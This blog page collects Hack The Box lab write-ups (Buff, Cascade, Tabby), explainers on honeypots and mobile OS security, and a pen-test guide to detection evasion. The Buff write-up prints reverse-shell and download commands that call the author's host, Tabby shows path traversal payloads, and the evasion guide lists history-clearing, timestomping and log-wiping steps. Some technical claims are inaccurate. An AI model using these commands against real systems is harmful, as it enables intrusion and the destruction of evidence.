Blog

  •

    [CTF] HTB Buff write-up walkthrough

    4.36 of 180 votes

    This is my write-up and walkthrough for the Buff (10.10.10.198) box user flag. Buff is a Windows machine with multiple CVEs which are relatively easy to identify. I found this box much simpler than some of the others in my recent write-ups and would definitely recommend it to anyone new to CTFs. When commencing this engagement, Buff was listed in HTB (hackthebox) with an easy difficulty rating.   Walkthrough To get started, I spun up a fresh Kali instance and generated my HTB lab keys. I then connected my Kali instance via HTB's OpenVPN configuration file and pinged the target 10.10.10.198 to check if my instance could reach the Buff machine. As always, I opted to add the target machine IP address to my /etc/hosts file. To do this I navigated to the /etc/hosts file. And I added the target IP address and assigned it an identifier label buff Now this was set, I could begin my standard recon. Aligning with my previous write-ups, I used Nmap, which is an open-source network scanner designed to discover hosts, services, and open ports. My objective was to identify what ports might be open on the target machine. I ran Nmap with the flags sudo nmap -sS -sC -sV buff -oN scan These flags told Nmap to do the following: -sS - Instructs Nmap to not complete the three-way handshake so the connection attempt is not logged on the target. -sC - Instructs Nmap to scan with default NSE scripts, which is useful and safe for discovery. -sV - Instructs Nmap to determine the version of any services running on the ports. The Nmap scan results indicated port 8080 was open and running an Apache web server. I visited the IP address in my browser (port 8080). The web server produced a fitness website, so I browsed through the pages. When I landed on the Contact page, I noticed there was no form or information. However, there was information which indicated the site was "Made using Gym Management Software 1.0", signed with the copyright label © Projectworlds.in in the page footer.I decided to search Google to see if I could find a copy of the software version 1.0 online. The first result served a page from exploit-db.com, which indicated this software already contained a known vulnerability and there was a prepackaged payload available to exploit it.This detailed that the software was vulnerable to an Unauthenticated File Upload vulnerability allowing remote attackers to gain Remote Code Execution (RCE) on the host by uploading a maliciously crafted PHP file that bypassed image upload filters. I proceeded to download this exploit. And then deployed it against the target host. I then uploaded a native netcat binary from my Kali instance using cp /usr/share/windows-binaries/nc.exe . I then uploaded a plink binary from my Kali instance using cp /usr/share/windows-binaries/plink.exe . And ran a HTTP server using python -m SimpleHTTPServer to handle directory files. From here I then visited http://buff:8080/upload/kamehameha.php?telepathy=curl -O 10.10.14.6:1337/nc.exe in my browser which used curl to run a configured netcat listener on the host. I then visited http://buff:8080/upload/kamehameha.php?telepathy=curl -O 10.10.14.6:1337/plink.exe in my browser which used curl to enable SSH access. With netcat and plink configured on the host I then proceeded to set up a listener locally, configured using nc -lvvnp 1337 to listen on port 1337 And then visited http://buff:8080/upload/kamehameha.php?telepathy=nc 10.10.14.6:1337 -e cmd.exe in my browser to execute cmd.exe (command prompt) on the host within an interactive shell. My local netcat listener confirmed my reverse shell was successfully established. Using the command dir identified the user flag within the /upload directory. Using type user.txt allowed me to read the file to access the flag. I did also find a copy of the user flag within the C:/Users/shaun/Desktop directory, so I'm unsure if someone copied it to the /upload folder before the box was reset.  

  •

    [CTF] HTB Cascade write-up walkthrough

    4.93 of 121 votes

    This is my write-up and walkthrough for the Cascade box. When commencing this engagement, Cascade was listed in HTB (hackthebox) with a medium difficulty rating. Walkthrough To get started, I spun up a fresh Kali instance and generated my HTB lab keys. I then connected my Kali instance via HTB's OpenVPN configuration file and pinged the target 10.10.10.182 to check if my instance could reach the Cascade machine. As always, I opted to add the target machine IP address to my /etc/hosts file. To do this I navigated to the /etc/hosts file. And I added the target IP address and assigned it an identifier label cascade Now this was set, I could begin my standard recon. Aligning with my previous write-ups, I used Nmap, which is an open-source network scanner designed to discover hosts, services, and open ports. My objective was to identify what ports might be open on the target machine. I ran Nmap with the flags sudo nmap -sS -sC -sV cascade -oN scan These flags told Nmap to do the following: -sS - Instructs Nmap to not complete the three-way handshake so the connection attempt is not logged on the target. -sC - Instructs Nmap to scan with default NSE scripts, which is useful and safe for discovery. -sV - Instructs Nmap to determine the version of any services running on the ports. The Nmap scan results indicated a number of ports were open. As this was a Windows machine, I considered ports 53, 88, 139, 445, and 5985 important. I decided to run enum4linux to try to enumerate further information. This pulled a lot of information, some of which was information on the workgroup user's table. Next I used ldapsearch and ran some automated LDAP queries to see if I could enumerate any further information on the LDAP directory. As I expected this to generate a lot of data, I output the results to a text file. I then opened the file using cat and used less to see if I could identify any LegacyPwd strings. This proved successful and allowed me to identify a base64 encoded legacy password for the r.thompson user account.I then decoded this using Kali's native base64 decoder which gave me the password rY4n5eva I then opened a Samba client using the smbclient utility and tried to connect using the r.thompson and rY4n5eva credentials. I did some mapping and noticed that the Data$ sharename provided access to some additional directories. Digging further into the /IT directory identified a folder named /Email Archives which contained a file named Meeting_Notes_June_2018.html I decided to use mget to download everything locally. I then inspected the Meeting_Notes_June_2018.html file. This showed an internal email from the user Steve Smith advising the IT department that an account named TempAdmin was created with the same login credentials as the administrator. As Steve Smith implied they had the privileges to perform this action, I went back to the files I had previously downloaded using mget from the /IT directory, focusing specifically on the VNC Install.reg file pulled from the /s.smith subfolder of the /Temp directory. Unsurprisingly, this file contained a hex password value. I did some searches on Google and found a popular tool for decoding VNC passwords was vncpwd.exe (File Hash: 7A8DB90DA4FF58A9284E7DB88CEA95CFD817914F). Running this against the encoded string produced the decoded password of sT333ve2 Using the credentials s.smith and sT333ve2 with Evil-WinRM allowed me to get a shell and access the user flag. Conclusion This was a fun box and I found it quite realistic too. Admittedly, I only managed to get the user flag (again) and needed some advice from the community along the way, but I'm satisfied with where I got in the end. I recognise I need to brush up on my priv esc skills and hope to find the root flag on this box and others in the future.

  • What are honeypots and honeynets?

    • General
    • by Jacob Riggs
    • 14-07-2020
    4.99 of 116 votes

    Believe it or not, sometimes admins will design systems to attract attackers. Working in information security, one of my favourite defensive strategies to deploy in operational practice involves the use of honeypots and honeynets. These tightly controlled decoy mechanisms are designed to entice attackers, rob them of their time, and help with profiling attack intent, objectives, and origin. Honeypots Honeypots are a useful way for admins to learn more about an adversary's objectives by intentionally exposing a machine that appears to be a highly valuable and sometimes unprotected target. Although a honeypot may seem legitimate to an attacker, honeypots are typically isolated from normal internal networks and configured in such a way that all interactive activity can be monitored and logged. This has several benefits from a defensive point of view. By convincing an attacker to focus their efforts on a designated honeypot endpoint, an administrator can gain insight into an attacker's tactics, techniques, and procesures (TTPs). This can be used to predict attack execution behaviour, or even aid in attribution and identifying where the attack may have originated from. Furthermore, honeypots may delay an attacker, buying administrators crucial time to respond, or force attackers to exhaust their own resources pursuing fruitless tasks. Honeypots have been in use for several decades, but they have often been costly to deploy because this typically meant dedicating actual hardware to face attackers, thus reducing what infrastructure could be reserved for production purposes. Furthermore, in order to engage an attacker for any significant amount of time, a honeypot needs to look like a real (and ideally valuable) network node, which means sitting in the attacker's seat and putting some thought into what software and data should be deployed on it. This all takes lots of time and traditionally was not practical for very large deployments. However, virtualisation addresses many of the challenges associated with administering honeypot machines because virtualised infrastructure is designed to scale easily. Honeynets A honeynet is an entire network designed to attract attackers. The benefits of its use are the same as that of honeypots, but honeynets are designed to look like real network environments, complete with real operating systems, applications, services, and associated network traffic. Honeypots can be thought of as a highly interactive set of honeypots, providing realistic feedback just as a real network would. For both honeypots and honeynets, deployed services are not actually used in production, so there shouldn't be any reason for any legitimate interaction with the servers. This makes it easy to recognise that any prolonged interaction with deployed services usually implies malicious intent. It follows that traffic from external hosts in a honeynet is usually indicative of attack behaviour and not as likely to be a false positive generated by expected network traffic.As with individual honeypots, all activity is monitored, recorded, and security controls optimised to balance the liklihood of any attack occurence with the ease of attack execution. As with honeypots, virtualisation has also improved the performance of honeynets, allowing for varied and easily scalable network configurations on existing hardware infrastructure.

  •

    Insight into the Android and iOS security architecture

    • General
    • by Jacob Riggs
    • 09-07-2020
    4.99 of 110 votes

    Mobile computing devices have revolutionised the way people interact with each other and the Internet, though just like any other computing device, mobile devices are subject to vulnerabilities. Some of these vulnerabilities are based on the design of the architecture and how data is processed, stored, and transmitted to and from the device. Mobile device architecture Smartphone and tablet devices are composed of various hardware and software components (e.g, an operating system and software applications). A battery provides the external power source, and a keypad or touchscreen allows the user to interact with the device. Most mobile devices are built with a system on a chip (SoC). The SoC is a small, integrated circuit that connects together common components that make up a mobile device. SoC are designed to reduce overall system costs, increase performance, and lower power consumption. Just like in a personal computer (PC), the CPU is used for decision logic and the GPU is responsible for visual processing. RAM provides temporary memory storage for applications, and ROM provides the long-term storage, such as for firmware and operating systems. When the mobile device is configured for a subscriber network like Three, EE, or Vodafone etc, the modem allows mobile devices to communicate over cellular networks, using basic phone services to make phone calls and send text messages. A SIM (subscriber identity module) card is unique, and is required in order to identify and authenticate a user's device on the cellular network. Once authenticated, the user's communications are encrypted. SIM cards have a limited storage capacity (up to 256KB) and contain information regarding the user's identity, location, network authentication data, phone number, stored contact lists, and even stored text messages. Setting a SIM personal identification number (PIN) on the mobile device can help protect your data in the event the device is lost or stolen. Two of the most common mobile operating systems on the market are iOS (iPhone Operating System) and Android. The iOS operating system is proprietary and runs exclusively on Apple mobile devices (i.e, iPhone, iPad, etc). Android, which is developed by Google, is open-source and found on a variety of hardware such as mobile phones, televisions, and other technological items. Android Android is a mobile operating system based on the Linux 2.x and 3.x kernels. Much like iOS, the Android platform is made up of different layers (stacks) that offer distinct services and interface with other components within the stack. On a mobile Android device, users interact within the application layer. This layer is also home for the native system apps that are installed by default such as the calendar app, camera, and email. Android applications are developed in Java. Applications run their own processes within a virtual machine (i.e, an instance of ART, which is short for Android Runtime), as if they were separate user accounts with separate home directories. This provides isolation among all the other applications running on the device. The Java application programming interface (API) framework exposes features of the Android OS to simplify access to application data and other system components. The primary components of an Android application are: Activities - Parts of the application the user can see. Fragments - A behaviour that is placed in an activity. Intents - Used for sending messages between other components. Broadcast receivers - Allow an application to receive notifications from other apps. Content providers - A SQLite database to store data in the form of a flat file. Services - Used to start intents, send notifications, and process data. The hardware abstraction layer (HAL) interfaces with built-in hardware components of the device. The native C and C++ libraries provide support for applications developed in native code, such as HAL and ART. The kernel provides foundational services to other components within the platform, such as drivers, memory management, display functionality, etc. iOS The iOS is based on Darwin, which is an open-source, Unix-based OS that was first released by Apple in 2000. iOS is a layered architecture that is made up of four levels of abstraction. Cocoa Touch - User interface (UI) framework for developing software apps, like games, to run on iOS. Media Services - Provides audio, graphics, video, and over-theair (AirPlay) capabilities. Core Services - Fundamental services like networking, file access, address book, etc. Core OS - Provides OS functionality such as power management, file system, etc. Each layer contains different frameworks, which are groups of libraries and resources (i.e, images, header files, etc) that can be used for developing an application. Smaller applications typically contain all the resources they need to function directly in the application bundle. In relation to iOS development, another word for framework is a bundle. Objective-C and Swift are high-level programming languages specifically for Apple operating systems like iOS, whereas the low-level programming language C is used for operating system and kernel development. The six core features of the iOS security architecture are: Hardware security Secure boot (secure boot chain) Code signing Sandbox Encryption and data protection General exploit mitigations When an iOS device is booted, it goes through a process that Apple calls the secure boot chain. Apple uses an Apple Root CA (Certificate Authority) certificate, which is loaded in read-only memory (boot ROM) for verifying other certificates to establish explicit trust relationships. Each step of the boot process contains components that are cryptographically signed by Apple. This signature represents a chain of trust and is verified every time the device is booted to ensure the device has not been tampered with. This process is similar to the applications that are allowed to run on the device. Apple use code signing to ensure only approved applications are deployed on the device. Users are forced to visit the Apple store to download authorised applications that have been signed by Apple, kind of like being in application prison. Ironically, jailbreaking the device is the only way to bypass the security mechanisms and run third-party applications. Jailbreaking is the process of exploiting a software vulnerability in iOS that enables low-level execution with elevated privileges to bypass the security mechanism in iOS. The hardware security feature provides cryptographic opertions to secure technologies operating on the iDevice. This is probably the most important security feature of the device. There are two Advanced Encryption Standard (AES) 256-bit encryption keys included on every iDevice, called group ID (GID) and unique ID (UID) values. The GID key is used to prevent modification to firmware files, outside of the user's private data. UIDs are created during manufacturing and are unique to every device. They are used in conjunction with passcodes and other data protection mechanisms for file encryption and decryption. If hardware-like memory chips are removed and reused on another iDevice, encrypted files would not be accessible. The keys are fused into the application processor and are not recoverable, not even when using a JTAG or other debugging interface. The AES-256 crypto engine, which works with a SHA-1 cryptographic hash function, is built into every iDevice to encrypt data and optimise overall performance. A JTAG (Joint Test Action Group) is a type of hardware mechanism used for debugging and connecting to embedded devices on a circuit board. The sandbox is a restricted area where applications are executed from. It is a general mitigation technique to prevent escalation attacks. If an application were to be compromised, the damage would be limited to the data managed by the vulnerable application and possibly the data from other applications, like your contacts, depending on the access restrictions enabled by the iOS user.   Conclusion Android and iOS application developers perform the majority of the software development higher up the stack, since most of the resources and libraries for working with subcomponents are readily available and easy to work with. Because most of the development activity happens at the application layer, mobile users tend to fall victim to vulnerabilities derived from poor security development practices. This is why it's important for security conscious mobile users to understand not only the underlying architecture, but also how to balance their own security considerations with the growing need for varied mobile device usage in practice.

  •

    How to avoid detection during a pen test

    5.00 of 105 votes

    Understanding how to cover your tracks during a pen test is important. The MITRE ATT&CK matrix defines this as defensive evasion, which consists of methods and techniques that an attacker may use to help avoid detection through network monitoring. Below are some defensive evasion techniques that can be used in practice during a pen test engagement. Clearing Command History (ID: T1146) Both Linux and Mac operating systems keep track of the commands users type in the terminal. The BASH shell will record keystrokes in the $home/ .bash_history file. During a pentest, once you obtain access to a Unix/Linux/Mac operating system, it is usually best practice to unset the history file to prevent the user/administrator from knowing what commands you were executing, as well as not commingling your dirty/malicious commands with a user's history. Unsetting the history file is as easy as shown here: unset HISTFILE - The temporary history will not be written to disk. export HISTFILE=0 - The temporary history will not be written to disk. history -c - This will clear the temporary history file. set +o history - Prevents commands from recording to the temporary history. Administrators can counter the defense evasion attack by setting the variable read-only to help preserve the contents of the history file for forensic purposes. Timestomping (ID: T1099) A technique used to modify the timestamps of a file (the modify, access, create, and change times) is called timestomping. This technique can be executed by an attacker against files/directories that were modified. The timestomp feature in a meterpreter shell can be a good way to limit the digital footprint of reading/writing data on the file system. To see a list of options, you can use the following syntax: timestomp -v - Display the UTC MACE values of the file. timestomp -m - Set the last written time of the file. timestomp -a - Set the last accessed time of the file. timestomp -c - Set the creation time of the file. You can see what the date timestamps look like before and after, then change it back to the before look. Imagine you wanted to change the contents of a user's logon script or even a scheduled task that points to a PowerShell file in the administrator's home directory called riggs-script.ps1 and add some arbitrary code to the file to assist with persistence. Once you modify the file, you can use timestomp to change the file back to the original values. This way your modification doesn't set off any red flags when looking at the date timestamp. Let's say you are on a Windows database server after successfully exploiting an SQL injection vulnerability through the customer's web server. You want to remove your nefarious actions from the www.log and db.log files and timestomp them to a period of time prior to the attack. After you remove your malicious entries in the log, you can use PowerShell to change the file properties LastWriteTime, LastAccessTime, and CreationTime for each log file. To do this, you could use the Get-Item cmdlet to identify the item (file) you want to modify, define the date you want to set the files to (the format is MM/DD/YYYY HH:MM am/pm), and apply the new timestamp to each file property. This can help conceal your entry and allow you to continue with your testing objectives and not draw as much attention to yourself. If you modify the contents of a file that a customer is monitoring with integrity checking software (like Tripwire), the change will still be identified and will likely trigger an alert. Integrity monitoring software compares a cryptographic hash of the file from the time the file was last inspected. These tools can be set to run at various times through scheduled tasks. There is a difference between changing the last written/accessed/creation time and creating a cryptographic hash of the target file. File Deletion (ID: T1107) Malware, tools, or other non-native files dropped or created on a system may hadd to the attacker's digital footprint. Metasploit is a great way of avoiding this hurdle when exploiting and executing code from within the framework, as there are automated mechanisms for cleaning up tools and anything residing in memory. The attacker may also clean the contents from /var/log/* on Linux/Unix/Mac operating systems, or wipe out the Event Viewer database on Microsoft systems. To mitigate, organisations can leverage logging servers (e.g, SYSLOG) to send security-relevant messages and information to a central host. This will help make the attacker's job harder when covering their tracks if the log events are stored on another system or part of the network that they don't have access to.

  •

    [CTF] HTB Tabby write-up walkthrough

    4.87 of 109 votes

    This is my write-up and walkthrough for the Tabby (10.10.10.194) box user flag. Tabby is a Linux machine with some interesting web app CVEs to play with. I enjoyed using the Pwnbox feature in my last hackthebox write-up so decided I'd give it another go on this one. When commencing this engagement, Tabby was listed in HTB (hackthebox) with an easy difficulty rating.   Walkthrough I spun up a new Pwnbox instance from the HTB dashboard and installed my VPN server key for my region. Once the VPN server key was installed, I then pinged the target 10.10.10.194 to check if my instance could reach the Tabby machine. To make things easier moving forward, I always opt to add the target machine IP address to my /etc/hosts file. To do this I navigated to the /etc/hosts file. And I added the target IP address and assigned it an identifier label tabby Now this was set, I could begin some basic recon. As part of my standard recon routine I used Nmap, which is an open-source network scanner designed to discover hosts, services, and open ports. My objective was to identify what ports might be open on the target machine. I ran Nmap with the flags sudo nmap -sS -sC -sV tabby -oN scan These flags told Nmap to do the following: -sS - Instructs Nmap to not complete the three-way handshake so the connection attempt is not logged on the target. -sC - Instructs Nmap to scan with default NSE scripts, which is useful and safe for discovery. -sV - Instructs Nmap to determine the version of any services running on the ports. The Nmap scan results indicated ports 22, 80, and 8080 were open. This confirmed the server was running a web service and SSH. I visited the IP address in my browser (port 80). I had a look around and noticed that the statement at the bottom of the landing page relating to a data breach hyperlinked to the address http://megahosting.htb/news.php?file=statement As this was unreachable, I added the domain to my existing hosts file for 10.10.10.194 so I could also reach it at tabby I was unable to find anything of interest in the page content for the issued statement, but noticed the requested statement was being passed in the file parameter. I wondered if it might be vulnerable to path traversal or SQLi. I decided to use Burp to automate a fuzzing technique demonstrated in my previous path traversal attack tutorial. This fires a list of common path traversal attack strings as requests and compiles a list of the HTTP status code responses. After reviewing this list, I could see there were some anomalies indicating traversal was possible. The first location I reached was the /etc/passwd located at http://tabby/news.php?file=../../../../../../../../etc/passwd I could see at the bottom of the file, the users tomcat and ash existed. The next location I reached was the /etc/hosts located at http://tabby/news.php?file=../../../../../../../../etc/hosts This confirmed information I already knew and concluded my port 80 recon so I moved on to port 8080 and visited http://tabby:8080 to see if it was reachable. This confirmed the server was running Apache Tomcat 9 and at the bottom indicated more user information might be present at http://tabby/news.php?file=../../../../../../../../etc/tomcat9/tomcat-users.xml However, when I tried this file location it didn’t exist. I was also conscious at this point that my earlier path traversal fuzzing had not enumerated this path and file location in the results. I then tried manually amending the path until I reached a blank page at http://tabby/news.php?file=../../../../../usr/share/tomcat9/tomcat-users.xml Viewing the source of this page then gave me the XML file markup. This file provided user credential information for the user tomcat with password $3cureP4s5w0rd123! I got stuck at this point for a while so ended up looking back at my notes and searching on Google to see if there were any vulnerabilities in Apache Tomcat 9 that might help me get a shell. My research showed me that Apache Tomcat 9 uses WAR (Web Application Archive) files to deploy web apps via servlets. These are a bit like JAR files, but contain everything the web app needs (such as JavaScript, CSS, etc), and according to Apache Tomcat 9 support documentation are controlled via commands from the manager application located here: There was evidence in the public domain that Apache Tomcat 9 was previously vulnerable to a malicious WAR file upload vulnerability, but I had no idea if the specific version running on this server was patched or not. I decided to try anyway. My first step was to search for a module I could use in Metasploit, then see if I could leverage that to craft and upload a tailored WAR file backdoor. I went for the java/jsp_shell_reverse_tcp module and configured a reverse shell to listen for a connection from my machine 10.10.14.62 on port 1338. I then used curl to push the newly generated WAR file to the Apache Tomcat 9 manager application using the credentials I had found before. However, before I executed this, I needed to setup a listener using netcat on my own machine to listen for connection requests on the desired port 1338 Now I could execute the reverse shell. netcat confirmed the reverse shell was active and I could see I was connected as the user tomcat I then spawned a tty shell to help me navigate and interact. I had a look around and moved into the /var/www/html/files directory which listed what appeared to be a backup file. I converted the compressed file to base64 and copied the verbose output, then used echo to rebuild the file locally on my machine. When I attempted to access the file I could see it was password protected. I fired up frackzip and ran it against the famous rockyou.txt wordlist to see if I could bruteforce the password. After about 15 seconds, frackzip found the password admin@it Recognising that passwords are sometimes shared, I then went back to my shell and tried to use this password for privilege escalation. I found it worked successfully on the user ash. I then listed the contents within the directory and opened the file user.txt which gave me the user flag.